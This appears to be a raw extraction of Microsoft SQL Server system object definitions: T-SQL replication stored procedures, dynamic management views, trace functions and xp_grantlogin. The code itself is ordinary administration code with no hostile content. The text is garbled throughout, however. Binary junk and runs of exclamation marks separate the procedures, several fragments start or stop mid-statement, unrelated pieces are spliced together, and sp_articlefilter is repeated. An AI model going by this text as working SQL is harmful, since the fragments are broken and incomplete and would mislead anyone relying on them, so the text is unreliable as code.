                                        when s_ic.is_descending_key = 1
                                        then 2 -- DB_COLLATION_DESC
                                        else 1 -- DB_COLLATION_ASC
                                        end),
        CARDINALITY         = case
                                when x.is_unique = 1 then
                                    convert (int, 0x7FFFFFFF & p.rows)  -- handle overflow
                                else
                                    null
                              end,
        PAGES               = p.data_pages,
        FILTER_CONDITION    = x.filter_definition,
        INTEGRATED          = convert(bit,case when x.index_id = 1 then 1 else 0 end),
        STATUS              = convert(int, IndexProperty(o.object_id, x.name, 'isfulltextkey'))

    from
        sys.indexes x inner join
        sys.objects o on -- Yukon doesn't expose indexes on its system objects, so only user objects are useful.
            (
                x.object_id = o.object_id and
                x.is_hypothetical = 0
            ) inner join
        sys.index_columns s_ic on
            (
                x.index_id = s_ic.index_id and
                o.object_id = s_ic.object_id
            ) left join
        sys.index_counts p on
            (
                p.object_id = x.object_id and
                p.index_id = x.index_id
            )
    where
        s_ic.key_ordinal > 0 -- exclude INCLUDE and Partitioned index columns

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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edure sys.sp_MSreleaseSlotLock
@process_name   sysname,
@DbPrincipal    sysname = N'public'
AS
declare @retcode int

-- Security Checking 
-- sysadmin or db_owner or replication agent have access

exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
if (@retcode <> 0) or (@@error <> 0)
begin
        RAISERROR (14126, 11, -1)
       return 1
end

exec @retcode=sys.sp_releaseapplock @process_name,@LockOwner=N'Session',@DbPrincipal=@DbPrincipal
IF (@retcode <> 0)
    BEGIN
        RAISERROR(21415, 16, -1)
        return (1)
    END
return @retcode
0y 9@ 8--
-- Name: 
--		sp_MSdrop_repl_job
-- 
-- Description: 
--		This procedure should be used to drop replication jobs.
--		Here we validate that the job being dropped is replication
--		related and in certain cases we check to see if the current
--		user is a sysadmin or that the current database context is 
--		the same as the on used when creating the job. We also check 
--		to ensure that the job exists. If it does not exist we exit 
-- 		without failure.
--  
-- Parameters: 
--		See definition
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		Procedure is NOT PUBLIC so there are no security checks.
--		We do however ensure that the job being dropped is replication
--		related. In certain jobs we also ensure that the user is sysadmin
--		or that the current database context is the same as the on used
--		when creating the job.
--
CREATE PROCEDURE sys.sp_MSdrop_repl_job 
(
	@job_name		sysname 			= NULL,
	@job_id 		binary(16) 			= NULL,
	@job_step_uid	uniqueidentifier 	= NULL
)
AS
BEGIN
	DECLARE @retcode 	int,
			@job_found 	bit

	SELECT @job_found = 0

	EXEC @retcode = sys.sp_MSrepl_check_job_access @id 				= @job_id,
													@step_uid		= @job_step_uid,
													@name			= @job_name,
													@err_not_found 	= 0,
													@job_found		= @job_found output
	IF @@ERROR <> 0 or @retcode <> 0
	BEGIN
		RETURN 1
	END

	-- we exit without failure if the job was not found
	IF @job_found = 0
	BEGIN
		RETURN 0
	END

	-- call internal drop procedure
	EXEC @retcode = sys.sp_MSdrop_repl_job_unsafe @job_name = @job_name,
													@job_id = @job_id,
													@job_step_uid = @job_step_uid
	
	RETURN @retcode
END
0UpT 8CREATE VIEW sys.dm_exec_query_optimizer_info AS
	SELECT *
	FROM OpenRowSet(TABLE OPTIMIZERINFO)
0*W@ {8CREATE VIEW sys.dm_xe_map_values AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_MAP_VALUES) 
0tqc D8g1h
-0T 8create procedure sys.sp_getsqlqueueversion 
(
    @publisher sysname       -- pubisher - cannot be null
    ,@publisher_db sysname -- publisher_db - cannot be null
    ,@publication sysname    -- publication - cannot be null
    ,@version int output        -- version of the queue > 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@queueidstring sysname

    --
    -- Security check
    --
    exec @retcode = sp_MSreplcheck_subscribe
    if @@error != 0 or @retcode != 0
        return 1
    --
    -- the subscription must be initialized
    --
    if exists (select * from sys.objects where name = 'MSsubscription_agents')
    begin
        --
        -- do the select for sql queues
        --
        select @queueidstring = substring(queue_id, 1, 10) 
                 ,@version = cast(substring(queue_id, 12, 10)  as int)
        from dbo.MSsubscription_agents
        where publisher = UPPER(@publisher) 
            and publisher_db = @publisher_db 
            and publication = @publication
            and update_mode in (4,5)
        if (@queueidstring = N'mssqlqueue')
        begin
            --
            -- found the entry
            --
            if (@version = 0)
                select @version = 1
        end
        else
        begin
            --
            -- No subscription exists
            --
            select @version = 0
            return 0
        end
    end
    else
    begin
        --
        -- No subscription exists
        --
        select @version = 0
        return 0
    end
    --
    -- all done
    --
    return 0
end
0GC`@ 8
create procedure sys.sp_MSRecontructType (@type nvarchar(60) output, 
                                @len smallint, 
                                @prec int, 
                                @scale int)
as
    declare @typeout nvarchar(60)

select @typeout = @type  

-- no need to add len/prec/scale for timestamp

-- append length or scale and precision if needed
if (@typeout = 'varbinary' or @typeout = 'varchar' or @typeout = 'nvarchar'
    or @typeout ='binary' or @typeout ='char' or @typeout ='nchar'
) -- binary, char, nchar
    begin
    select @type = @typeout + '(' + rtrim(convert(nchar, @len)) + ')'
    return
    end
if (@typeout = 'numeric' or @typeout = 'decimal'
    or @typeout ='decimaln' or @typeout ='numericn'
) -- decimaln, numericn
    begin
    select @type = @typeout + '(' + rtrim(convert(nchar, @prec)) + ',' + 
            rtrim(convert(nchar, @scale)) + ')'
    return
    end
select @type = @typeout
_support, resolver_clsid, resolver_info, verify_resolver_signature, allow_interactive_resolver,
                            fast_multicol_updateproc, check_permissions)
                    select p.name, 2, a.name, a.type, a.column_tracking, a.article_resolver, a.identity_support,
                            a.resolver_clsid, a.resolver_info, a.verify_resolver_signature, a.allow_interactive_resolver,
                            a.fast_multicol_updateproc, a.check_permissions
                        from dbo.sysmergeextendedarticlesview a, dbo.sysmergepublications p 
                        where a.pubid = p.pubid and a.objid = @object_id
                IF @@ERROR <> 0 
                    BEGIN
                        select @retcode = 1
                        goto DONE
                    END
            end
    end
    select @retcode = 0

DONE:
    select * from #helpobjpubs
    drop table #helpobjpubs
    return (@retcode)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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UMN_USAGE
AS
SELECT
	DB_NAME()				AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(f.schema_id)		AS CONSTRAINT_SCHEMA,
	f.name					AS CONSTRAINT_NAME,
	DB_NAME()				AS TABLE_CATALOG,
	SCHEMA_NAME(p.schema_id)		AS TABLE_SCHEMA,
	p.name					AS TABLE_NAME,
	col_name(k.parent_object_id, k.parent_column_id)
						AS COLUMN_NAME,
	k.constraint_column_id			AS ORDINAL_POSITION
FROM
	sys.foreign_keys f JOIN sys.foreign_key_columns k
		ON k.constraint_object_id = f.object_id
	JOIN sys.tables	p ON p.object_id = f.parent_object_id
UNION
SELECT
	DB_NAME()				AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(k.schema_id)		AS CONSTRAINT_SCHEMA,
	k.name					AS CONSTRAINT_NAME,
	DB_NAME()				AS TABLE_CATALOG,
	SCHEMA_NAME(t.schema_id)		AS TABLE_SCHEMA,
	t.name					AS TABLE_NAME,
	col_name(c.object_id, c.column_id)	AS COLUMN_NAME,
	c.key_ordinal				AS ORDINAL_POSITION
FROM
	sys.key_constraints k JOIN sys.index_columns c
		ON c.object_id = k.parent_object_id
		AND c.index_id = k.unique_index_id
	JOIN sys.tables t ON t.object_id = k.parent_object_id
0fC D8ah 0-I@ v8CREATE VIEW sys.dm_os_wait_stats AS
	SELECT *
	FROM OpenRowset(TABLE SYSWAITSTATS)
0S 8create function sys.fn_remote_catalogs(
	@server		sysname,
	@catalog	sysname = NULL)
returns table
as
return	select * from OpenRowset(SYSREMOTE_CATALOGS, @server, @catalog)
0?@ 8
--
-- Name:    
--          sp_droppublication
--          
-- Description: 
--          Drops a publication and its associated articles.
--			This stored procedure is executed at the Publisher on the publication database.
--  
-- Security: 
--          Public with checks for sysadmin/dbo
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_droppublication
(
	@publication		sysname,
	@ignore_distributor	bit = 0,
	@publisher			sysname = NULL,	-- optional publisher for heterogeneous publications
    @from_backup        bit = 0
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_droppublication'

	EXEC @retcode = @cmd
					@publication,
					@ignore_distributor,
					@publisher,
					@publisher_type,
                    @from_backup

	RETURN (@retcode)
END
0#8 8create procedure sys.sp_MSpeersendtopologyinfo
(
	@request_id				int,
	@originator				sysname,
	@originator_db			sysname,
	@originator_publication	sysname
)
as
begin
	set nocount on

	declare @retcode		int,
			@cmd			nvarchar(max),
			@info_cmd		nvarchar(max),
			@response_srvr	sysname,
			@response_db	     sysname,
			@connection_info	xml,
			@distributor         sysname,
			@distributordb     sysname,
			@response_originator_id int,
			@response_conflict_retention int

	-- security check for subscriber
	-- Though the work below is related to a publisher, we use 
	-- a check for the subscriber because this is normally executed
	-- by the distribution agent at a subscriber (republisher).
	-- this should only be used by peer to peer subscribers.
	exec @retcode = sys.sp_MSreplcheck_subscribe 
       if @@error <> 0 or @retcode <> 0 
       begin
           return 1
       end

	select @cmd = NULL,
			@response_srvr = publishingservername(),
			@response_db = db_name()

	-- get the distributor information
	exec @retcode = sp_helpdistributor @distributor=@distributor out, @distribdb = @distributordb out
       if @@error <> 0 or @retcode <> 0 
       begin
           return 1
       end

	-- the topology information query
	select @info_cmd = N'set @p = (
			select * from (
				select 1 as Tag,
						NULL as Parent,
						'+quotename(@distributor,'''')+N' as [Publisher!1!Distributor],
						'+quotename(@distributordb,'''')+N' as [Publisher!1!DistributorDatabase],
						NULL as [Publication!2!Name],
						NULL as [Subscription!3!SubscriberName],
						NULL as [Subscription!3!SubscriberDatabase],
						NULL as [Subscription!3!SubscriptionType]
				union all
				select 2,1,
						'+quotename(@distributor,'''')+N' as [Publisher!1!Distributor],
						'+quotename(@distributordb,'''')+N' as [Publisher!1!DistributorDatabase],
						p.name,
						NULL,
						NULL,
						NULL
					from syspublications as p
					group by p.name
				union all
				select 3,2,
						'+quotename(@distributor,'''')+N' as [Publisher!1!Distributor],
						'+quotename(@distributordb,'''')+N' as [Publisher!1!DistributorDatabase],
						p.name,
						s.srvname,
						s.dest_db,
						s.subscription_type
					from syspublications as p join sysarticles as a
							on p.pubid = a.pubid
						join syssubscriptions as s
							on a.artid = s.artid
					where s.srvid >= 0
			) as universal_table
			order by [Publisher!1!Distributor],[Publisher!1!DistributorDatabase],[Publication!2!Name],[Subscription!3!SubscriberName],[Subscription!3!SubscriberDatabase],[Subscription!3!SubscriptionType]
			for xml explicit
			)';

	select @response_originator_id = case when originator_id is NULL then 0 else originator_id end, 
		@response_conflict_retention = case when conflict_retention is NULL then 0 else conflict_retention end
	from syspublications  
	where name = @originator_publication

	begin transaction tr_sp_MSpeersendtopologyinfo
	save transaction tr_sp_MSpeersendtopologyinfo

	exec sp_executesql
		@stmt = @info_cmd,
		@params = N'@p as xml output',
		@p = @connection_info output;

	if @@error <> 0 or @retcode <> 0
		goto FAILURE

	select @cmd = N'if object_id(N''sys.sp_MSpeerapplytopologyinfo'', ''P'') is not null '+
				 N'exec sys.sp_MSpeerapplytopologyinfo @request_id=' + cast(@request_id as nvarchar) +
																	N',@originator=N' + quotename(@originator, '''') +
																	N',@originator_db=N' + quotename(@originator_db, '''') +
																	N',@response_srvr=N' + quotename(@response_srvr, '''') +
																	N',@response_db=N' + quotename(@response_db, '''')+
																	N',@connection_info=N' + N''''+replace(convert(nvarchar(max), @connection_info), '','''')+N'''' +
																	N',@response_srvr_version=' + cast(@@microsoftversion as nvarchar) +
																	N',@response_originator_id=' + cast(@response_originator_id as nvarchar) +
																	N',@response_conflict_retention=' + cast(@response_conflict_retention as nvarchar)

	-- if we are on the originator, then there is no need to forward the cmd, just execute it
	if UPPER(@originator) = UPPER(@response_srvr)
			and @originator_db = @response_db
	begin
		exec @retcode = sp_executesql @stmt = @cmd
	end
	-- if we are not on the originator then we do need to forward the cmd
	else
	begin
		exec @retcode = sys.sp_MSpeertopeerfwdingexec @command = @cmd,
												   @publication = @originator_publication
	end
	
	if @@error <> 0 or @retcode <> 0
		goto FAILURE

	commit transaction tr_sp_MSpeersendtopologyinfo

	return 0
FAILURE:
	rollback transaction tr_sp_MSpeersendtopologyinfo
	commit transaction

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!zMj`	<
KMV[073 8CREATE PROCEDURE sys.sp_vupgrade_replsecurity_metadata
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @retcode			int,
			@statement			nvarchar(4000),
			@database 			nvarchar(512),
			@has_dbaccess		bit, 
			@is_distributiondb	bit,
			@is_subscriberdb	bit,
			@is_upgraded		bit
			,@agentname nvarchar(100)
			,@description nvarchar(100)
			,@category_name sysname
			,@dbname sysname

	-- Security Check
	IF ISNULL(IS_SRVROLEMEMBER('sysadmin'), 0) = 0
	BEGIN
		-- "Only members of the sysadmin fixed server role can perform this operation."
		RAISERROR(21089,16,-1) 
		RETURN 1
	END

	IF LOWER(DB_NAME()) != N'master'
	BEGIN
		-- "sp_vupgrade_replsecurity_metadata can only be executed in the master database."
		RAISERROR (21482, 16, -1, 'sp_vupgrade_replsecurity_metadata', 'master')
		RETURN 1
	END

	-- make sure user has already upgraded msdb
	IF NOT EXISTS(SELECT * 
				FROM msdb.sys.columns 
				WHERE object_id = OBJECT_ID(N'msdb.dbo.sysjobsteps') 
					AND name = N'step_uid')
	BEGIN
		-- "The replication %s could not be upgraded for %s database(s). Please ensure that %s is upgraded and re-execute %s."
		RAISERROR(21450, 16, -1, 'security meta-data', 'all',  'msdb database', 'sp_vupgrade_replsecurity_metadata')
		RETURN 1
	END
	
	BEGIN TRANSACTION
	SAVE TRANSACTION tr_upgrade_security_meta

    DECLARE cursorDatabases CURSOR LOCAL FAST_FORWARD FOR 
    	SELECT DISTINCT HAS_DBACCESS(name),
            	sys.fn_MSrepl_isdistdb(name),
            	N'[' + replace(name, N']', N']]') + N']',
            	name
    		FROM master.dbo.sysdatabases 
    		WHERE name NOT IN ( N'master' COLLATE DATABASE_DEFAULT,
			                    N'tempdb' COLLATE DATABASE_DEFAULT,
			                    N'msdb'   COLLATE DATABASE_DEFAULT,
			                    N'model'  COLLATE DATABASE_DEFAULT
			                    )
    	FOR READ ONLY

	OPEN cursorDatabases

	FETCH cursorDatabases INTO @has_dbaccess, @is_distributiondb, @database, @dbname
	
    WHILE @@FETCH_STATUS != -1
    BEGIN
		IF @has_dbaccess = 1
		BEGIN
			-- if this is a distribution db then upgrade dist meta-data
			IF @is_distributiondb = 1
			BEGIN
				SELECT @statement = N'SELECT @is_upgraded = 0 ' +
									N'IF EXISTS(SELECT * '+
									N'			FROM ' + @database + N'.sys.columns ' +
									N'			WHERE name = N''job_step_uid'') ' +
									N'BEGIN ' +
									N'	SELECT @is_upgraded = 1 ' +
									N'END'

				EXEC @retcode = sys.sp_executesql @statement = @statement, 
													@params = N'@is_upgraded bit OUTPUT', 
													@is_upgraded = @is_upgraded OUTPUT
				IF @@ERROR <> 0 OR @retcode <> 0
						GOTO UNDO

				IF @is_upgraded = 1
				BEGIN
					SELECT @statement = @database + N'.[sys].[sp_MSupgrade_distdb_security_metadata]'

					EXEC @retcode = @statement
					IF @@ERROR <> 0 OR @retcode <> 0
						GOTO UNDO
				END
				ELSE
				BEGIN
					-- "The replication %s could not be upgraded for %s database(s). Please ensure that %s is upgraded and re-execute %s."
					RAISERROR(21450, 10, -1, 'distributor security meta-data', @database,  @database, 'sp_vupgrade_replsecurity_metadata') WITH NOWAIT
				END
				--
				-- Add replmonitor refresh job for this distribution database
				--
				select @agentname = formatmessage (20811, @dbname)
				select @description = @agentname
					,@statement =  N'exec dbo.sp_replmonitorrefreshjob  '
				if not exists (select * from msdb.dbo.sysjobs_view where name = @agentname collate database_default and
							upper(originating_server collate database_default) = upper(convert(sysname, SERVERPROPERTY('ServerName')))
							and master_server = 0)
				BEGIN
					select @category_name = name FROM msdb.dbo.syscategories where category_id = 18
					EXECUTE @retcode = msdb.sys.sp_MSadd_repl_job @agentname,
											@subsystem = 'TSQL',
											@server = @@SERVERNAME,
											@databasename = @dbname,
											@description = @description,
											@freqtype = 64,  -- continuous  
											@freqsubtype = 0,  -- unused
											@freqsubinterval = 0,    -- unused
											@command = @statement,
											@retryattempts = 0,
											@enabled = 0,
											@loghistcompletionlevel = 0,
											@category_name = @category_name
					if @@ERROR <> 0 or @retcode <> 0
					GOTO UNDO
				END
			END

			SELECT @statement = N'SELECT @is_subscriberdb = 0 ' +
									N'IF EXISTS(SELECT * ' +
									N'			FROM ' + @database + N'.sys.objects ' +
									N' 			WHERE name = N''MSsubscription_properties'') ' +
									N'BEGIN ' + 
									N' 	SELECT @is_subscriberdb = 1 ' +
									N'END ' +
									N'SELECT @is_upgraded = 0 ' +
									N'IF EXISTS(SELECT * ' +
									N'			FROM ' + @database + N'.sys.columns ' +
									N'			WHERE name = N''job_step_uid'') ' +
									N'BEGIN ' +
									N'	SELECT @is_upgraded = 1 ' +
									N'END'

			EXEC @retcode = sys.sp_executesql @statement = @statement, 
												@params = N'@is_subscriberdb bit OUTPUT, @is_upgraded bit OUTPUT', 
												@is_subscriberdb = @is_subscriberdb OUTPUT,
												@is_upgraded = @is_upgraded OUTPUT
			IF @@ERROR <> 0 OR @retcode <> 0
					GOTO UNDO

			IF @is_subscriberdb = 1
			BEGIN
				IF @is_upgraded = 1
				BEGIN
					-- always assume this is subscriber db and attempt upgrade sub meta-data
					SELECT @statement = @database + N'.[sys].[sp_MSupgrade_subdb_security_metadata]'
					
					EXEC @retcode = @statement
					IF @@ERROR <> 0 OR @retcode <> 0
						GOTO UNDO
				END
				ELSE
				BEGIN
					-- "The replication %s could not be upgraded for %s database(s). Please ensure that %s is upgraded and re-execute %s."
					RAISERROR(21450, 10, -1, 'subscriber security meta-data', @database,  @database, 'sp_vupgrade_replsecurity_metadata') WITH NOWAIT
				END
			END
		END
		ELSE
		BEGIN
			-- "Could not open database %s. Upgrade of replication %s could not be performed. Please rerun %s from %s database once the %s is accessible."
			RAISERROR(21733, 10, -1, @database, 'security meta-data', 'sp_vupgrade_replsecurity_metadata', '[master]', @database) WITH NOWAIT
		END

		FETCH cursorDatabases INTO @has_dbaccess, @is_distributiondb, @database, @dbname
	END

	CLOSE cursorDatabases
	DEALLOCATE cursorDatabases

	COMMIT TRANSACTION tr_upgrade_security_meta

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_upgrade_security_meta
	COMMIT TRANSACTION 

	RETURN 1
END
0~4 D82ch+40T6 _8create procedure sys.xp_grantlogin
    @loginame       sysname,
    @logintype      varchar(5) = Null       -- ignored unless 'admin'
AS
	set nocount on

    -- IF NAME NOT 'DOMAIN\USER', ADD DEFAULT DOMAIN --
    if (charindex('\', @loginame) = 0)
    begin
        select @loginame = default_domain() + '\' + @loginame
    end

	Declare @ret   int     -- return value of sp call
    execute @ret = sys.sp_grantlogin @loginame
    if (@ret = 0 and @logintype = 'admin')
        execute @ret = sys.sp_addsrvrolemember @loginame, 'sysadmin'
    return (@ret)
06 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_cache_counters as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_cache_counters
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5`<<V
gX0o/ _8create function sys.fn_trace_gettable
	(@filename nvarchar(4000), 
	 @numfiles int = -1)
	 
returns table as
return select 
	TextData,
	BinaryData,
	DatabaseID,
	TransactionID,
	LineNumber,
	NTUserName,
	NTDomainName,
	HostName,
	ClientProcessID,
	ApplicationName,
	LoginName,
	SPID,
	Duration,
	StartTime,
	EndTime,
	Reads,
	Writes,
	CPU,
	Permissions,
	Severity,
	EventSubClass,
	ObjectID,
	Success,
	IndexID,
	IntegerData,
	ServerName,
	EventClass,
	ObjectType,
	NestLevel,
	State,
	Error,
	Mode,
	Handle,
	ObjectName,
	DatabaseName,
	FileName,
	OwnerName,
	RoleName,
	TargetUserName,
	DBUserName,
	LoginSid,
	TargetLoginName,
	TargetLoginSid,
	ColumnPermissions,
	LinkedServerName,
	ProviderName,
	MethodName,
	RowCounts,
	RequestID,
	XactSequence,
	EventSequence,
	BigintData1,
	BigintData2,
	GUID,
	IntegerData2,
	ObjectID2,
	Type,
	OwnerID,
	ParentName,
	IsSystem,
	Offset,
	SourceDatabaseID,
	SqlHandle,
	SessionLoginName,
	PlanHandle,
	GroupID
       from OpenRowset(TABLE TRCTABLE, @filename, @numfiles)
091@ 8create procedure sys.sp_articlefilter
(
    @publication                sysname,
    @article                    sysname,
    @filter_name                nvarchar (517) = NULL,    -- name of filter procedure
    @filter_clause                ntext = NULL,
    @force_invalidate_snapshot    bit = 0,                -- Force invalidate existing snapshot
    @force_reinit_subscription    bit = 0,                -- Force reinit subscription
    @publisher                    sysname = NULL
)
AS
BEGIN
    DECLARE @cmd            nvarchar(4000)
                ,@retcode        int
                ,@publisher_type    sysname


    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo    @publisher        = @publisher,
                                                    @publisher_type    = @publisher_type OUTPUT,
                                                    @rpcheader        = @cmd OUTPUT
    IF @retcode <> 0
        RETURN (@retcode)

    IF @publisher IS NULL
        select @publisher = publishingservername()

    -- Add sp
    select @publisher = UPPER(@publisher)
            ,@cmd = @cmd + N'sys.sp_MSrepl_articlefilter'
    
    EXEC @retcode = @cmd
                    @publication,
                    @article,
                    @filter_name,
                    @filter_clause,
                    @force_invalidate_snapshot,
                    @force_reinit_subscription,
                    @publisher,
                    @publisher_type

    RETURN (@retcode)
END
0A j8create procedure sys.sp_MSvalidate_distpublisher
(
@publisher sysname,
@publisher_id smallint = NULL OUTPUT
)
as
begin
    set nocount on

    declare @distribution_db sysname
    declare @retcode int

    -- Check if publisher is a defined as a distribution publisher at this distributor
    select @publisher_id = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@publisher) 
    if @publisher_id is NULL
    begin
        raiserror (14080, 11, -1, @publisher)
        return (1)
    end

    if not exists (select * from msdb.dbo.MSdistpublishers where name = UPPER(@publisher))
    begin
        raiserror (14080, 11, -1, @publisher)
        return (1)
    end


    -- Check if client is in the correct distribution database
    exec @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @publisher, @distribdb = @distribution_db OUTPUT
    if @@error <> 0 OR @retcode <> 0
    begin
        raiserror (14071, 16, -1)
        return (1)
    end

    -- Check if publisher is associated with a distribution database
    if @distribution_db is NULL
    begin
        raiserror (14071, 16, -1)
        return(1)
    end

    -- Check if client is in the distribution database 
    if @distribution_db <> db_name()
    begin
        raiserror(14071, 16, -1)
        return(1)
    end
end
0#/@ `8create procedure sys.sp_MSforcereenumeration
	@tablenick	int,
	@rowguid	uniqueidentifier
as
	declare @METADATA_TYPE_UpdateLightweight tinyint
	declare @METADATA_TYPE_DeleteLightweight tinyint
	declare @METADATA_TYPE_DeleteLightweightProcessed tinyint

	declare @COLUMNS_ENUMERATED_AllOnConflictOrError int
	declare @retcode int

	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0 return 1

	set @METADATA_TYPE_UpdateLightweight= 8
	set @METADATA_TYPE_DeleteLightweight= 10
	set @METADATA_TYPE_DeleteLightweightProcessed= 12

	set @COLUMNS_ENUMERATED_AllOnConflictOrError= 1

	update dbo.MSmerge_rowtrack
		set changetype= case changetype
							when @METADATA_TYPE_DeleteLightweightProcessed then @METADATA_TYPE_DeleteLightweight
							when @METADATA_TYPE_DeleteLightweight then @METADATA_TYPE_DeleteLightweight
							else @METADATA_TYPE_UpdateLightweight
						end,
			columns_enumeration= case changetype
									when @METADATA_TYPE_DeleteLightweightProcessed then columns_enumeration
									when @METADATA_TYPE_DeleteLightweight then columns_enumeration
									else @COLUMNS_ENUMERATED_AllOnConflictOrError
								 end,
			changed= sys.fn_MSdayasnumber(getdate())
		where tablenick = @tablenick and 
			  rowguid = @rowguid

	if @@error <> 0 return 1

	return 0
ubscriptions ss
	WHERE	((@publication = N'%') or (p.name = @publication collate database_default))
	AND		p.pubid = s.pubid
	AND		s.artid = ss.artid
	and (ss.srvname is not null and len(ss.srvname)> 0)
	AND		NOT EXISTS
			(
				SELECT	*
				FROM	sysextendedarticlesview s2
				WHERE	s2.pubid = p.pubid
				AND		NOT EXISTS
				(
					SELECT	*
					FROM	syssubscriptions ss2
					WHERE	s2.artid = ss2.artid
					AND		ss2.srvname = ss.srvname 
					and (ss2.srvname is not null and len(ss2.srvname)> 0)
			)
			)
END
091@ 8create procedure sys.sp_articlefilter
(
    @publication                sysname,
    @article                    sysname,
    @filter_name                nvarchar (517) = NULL,    -- name of filter procedure
    @filter_clause                ntext = NULL,
    @force_invalidate_snapshot    bit = 0,                -- Force invalidate existing snapshot
    @force_reinit_subscription    bit = 0,                -- Force reinit subscription
    @publisher                    sysname = NULL
)
AS
BEGIN
    DECLARE @cmd            nvarchar(4000)
                ,@retcode        int
                ,@publisher_type    sysname


    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo    @publisher        = @publisher,
                                                    @publisher_type    = @publisher_type OUTPUT,
                                                    @rpcheader        = @cmd OUTPUT
    IF @retcode <> 0
        RETURN (@retcode)

    IF @publisher IS NULL
        select @publisher = publishingservername()

    -- Add sp
    select @publisher = UPPER(@publisher)
            ,@cmd = @cmd + N'sys.sp_MSrepl_articlefilter'
    
    EXEC @retcode = @cmd
                    @publication,
                    @article,
                    @filter_name,
                    @filter_clause,
                    @force_invalidate_snapshot,
                    @force_reinit_subscription,
                    @publisher,
                    @publisher_type

    RETURN (@retcode)
END
